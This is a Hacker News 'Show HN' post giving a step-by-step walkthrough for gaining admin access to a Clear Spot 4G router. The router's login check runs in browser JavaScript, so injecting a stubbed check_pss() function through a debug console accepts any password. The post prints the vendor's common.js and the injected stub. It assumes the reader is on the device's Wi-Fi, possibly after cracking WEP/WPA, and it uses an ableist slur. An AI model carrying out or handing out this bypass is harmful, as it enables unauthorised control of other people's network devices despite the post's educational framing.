Show HN: How to hack a Clear Spot 4G (admin access to router)
Disclaimer: This is just for educational purposes to prove that you should never, ever, ever, EVER, use client-side ANYTHING to set sessions or check passwords. Send the credentials server-side and keep it there. In reality, this exploit probably isn't a big deal, but just in case: I EXCEPT NO RESPONSIBILITY WHAT SO EVER. (After all, this is so easy it's retarded)

Okiedoke. So to start, you must be connected to the Clear Spot's wireless network. If it's not password protected, this is simple. If it's WEP protected (I've found most are) then it's almost as simple, and if it's WPA protected you have just a little bit more work. I'm not going to go into explaining how to crack WEP/WPA. You can find those details elsewhere. I haven't looked into remote access, but I assume it's behind quite a few proxies like cell phones.

Now that you're connected to the Clear Wi-Fi network, point your browser to http://192.168.0.1/. From here you should see some basic information about the Clear device, a login section on the top, and links to navigate around. You'll notice that they are all unavailable without admin access.

Using your favorite method, view the /js/common.js file and scroll down to the function hlogin().

The hlogin() function checks if the password field was just left empty, then calls lct_ajax_pok() with the password assigned to Endpassword.

Inside lct_ajax_pok() it sends an AJAX request to check if the password is correct and on completion, sends the results to check_pss().

check_pss() then checks if the response code was valid, it then sends the session id (sid) to send_sid().

Looking at send_sid(), you may be thinking this AJAX call verifies the session id against something server-side. Wrong. In fact, this function is actually sending a string that, until now, means nothing to the server.

In simple terms, it's SETTING the session ID through a client-side AJAX request. If you follow the rest of the functions, you'll see it setting a logged in cookie, etc.

What this means for us: if you just simply remove the conditional checking if the password was correct, the sessions ID will blindly get set and you become a valid, logged in admin..

So without further ado, all you have to do to gain full access is fire up your favorite debug console (I use Firebug) and inject the following modified function:

function check_pss(login_txt,vv)
{
send_sid(sid);
}

Once it's injected, type literally ANY password into the Admin Login and hit OK.

Congrats. You are now admin and can do/change whatever you please. Enjoy.

--------------------------------------------
common.js - unmodified
--------------------------------------------

function lct_remember_timer()
{
$.ajax({
url: 'remember_timmer',
type: 'post'
});

}

function session_ok(session_txt)
{
if(session_txt.responseText == sid)
{
if($("#ID_RememberMe").attr('checked'))
{
$.cookie('lct_remember_me', 'prm', {expires: 365});
var ps = $("#ID_AdminPassword")[0].value;
$.cookie('lct_psw', ps, {expires: 365});
}
$.cookie('ddddd', '', {expires: 365});
$.cookie('dddddddd', '', {expires: 365});
$('#nonlogin').hide(150);
$('#loginuser').show(150);
$('#conDisConDiv').show(100);
lct_remember_timer();
isadmin = 1;
remtimer = setInterval('lct_remember_timer();',2000);
/*add by zhangzhitong for cannot enter advance page at 2009-10-16 start*/
if(!($.cookie('lct_remember_me') == "prm"))
{
ajax_time = setInterval('lct_ajax_timer();',5000);
}
/*add by zhangzhitong for cannot enter advance page at 2009-10-16 end*/
}
else if(session_txt.responseText == "2")
{
alert(common_js_admin_login_alert);
}
else
{
alert(common_js_creatsessionerror);
}

}

//for send ssid to server
function send_sid(sessionid)
{
$.ajax({
url: 'ajax_session?sid='+sessionid,
type: 'post',
complete: function (xhr) {
session_ok(xhr);
}
});

}

//for check passwpord
function check_pss(login_txt,vv)
{
if(login_txt.responseText == "1" )
{
send_sid(sid);
}
else
{
if(vv == 1)
{
alert(common_js_password_c_alert);
}
else
{
alert(common_js_invalid_password_alert);
}

}
}

//send ajax checl
function lct_ajax_pok(ajaxid,vv)
{
$.ajax({
url: 'ajax_request?'+ajaxid,
type: 'post',
complete: function (xhr) {
check_pss(xhr,vv);
}
});

}

//function for login
function hlogin()
{
var pss = $("#ID_AdminPassword")[0].value;
if(pss == "")
{
alert("Password can not be empty");
return false;
}
lct_ajax_pok("Endpassword="+pss,0);

}